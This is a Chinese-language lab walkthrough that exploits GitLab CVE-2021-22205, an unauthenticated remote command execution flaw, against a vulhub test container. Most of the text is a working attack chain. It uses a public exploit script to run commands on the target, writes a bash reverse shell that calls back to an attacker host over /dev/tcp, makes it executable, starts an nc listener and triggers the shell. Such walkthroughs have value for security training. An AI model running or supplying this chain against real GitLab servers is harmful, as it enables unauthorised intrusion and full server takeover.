漏洞介绍:GitLab 是一个基于 Web 的 DevOps 生命周期工具,它提供了一个 Git 存储库管理器,提供 wiki、问题跟踪以及持续集成和部署管道功能。
在 GitLab CE/EE 中发现影响 11.9 开始版本的问题。GitLab 未正确验证传递给文件解析器的图像文件,从而导致未经身份验证的远程命令执行。
实验步骤
环境搭建
漏洞环境使用vulhub搭建,漏洞目录为 vulhub/gitlab/CVE-2021-22205/
拉取镜像启动容器:docker-compose up -d
查看端口:docker ps
环境启动后,访问http://IP:8080即可查看到GitLab的登录页面
下载漏洞利用需要的工具并放入攻击机中:
vulhub/gitlab/CVE-2021-22205/poc.py at master · vulhub/vulhub · GitHub
使用poc.py来测试漏洞,在/tmp路径下创建一个success文件:
python poc.py http://your-ip:8080 "touch /tmp/success
回到靶机进入容器可以看到touch /tmp/success已成功执行
漏洞利用
下载工具并放入攻击机:https://github.com/Al1ex/CVE-2021-22205
检查目标是否存在漏洞:python CVE-2021-22205.py -v true -t http://192.168.150.144:8080
在攻击机上利用该工具在目标服务器内写入反弹shell脚本:
python CVE-2021-22205.py -a true -t http://192.168.150.144:8080/ -c "echo 'bash -i >& /dev/tcp/192.168.150.145/6666 0>&1' > /tmp/shell.sh"
回到靶机进入容器可以看到查看shell脚本创建成功
在攻击机上执行命令修改shell.sh权限使其可执行:
python CVE-2021-22205.py -a true -t http://192.168.150.144:8080/ -c "chmod +x /tmp/shell.sh"
攻击机上开启端口监听:nc -lvvp 6666
在攻击机上执行命令使shell.sh文件在目标主机上运行:
python CVE-2021-22205.py -a true -t http://192.168.150.144:8080/ -c "/bin/bash /tmp/shell.sh"
执行脚本后,可以在监听端口中观察到反弹shell成功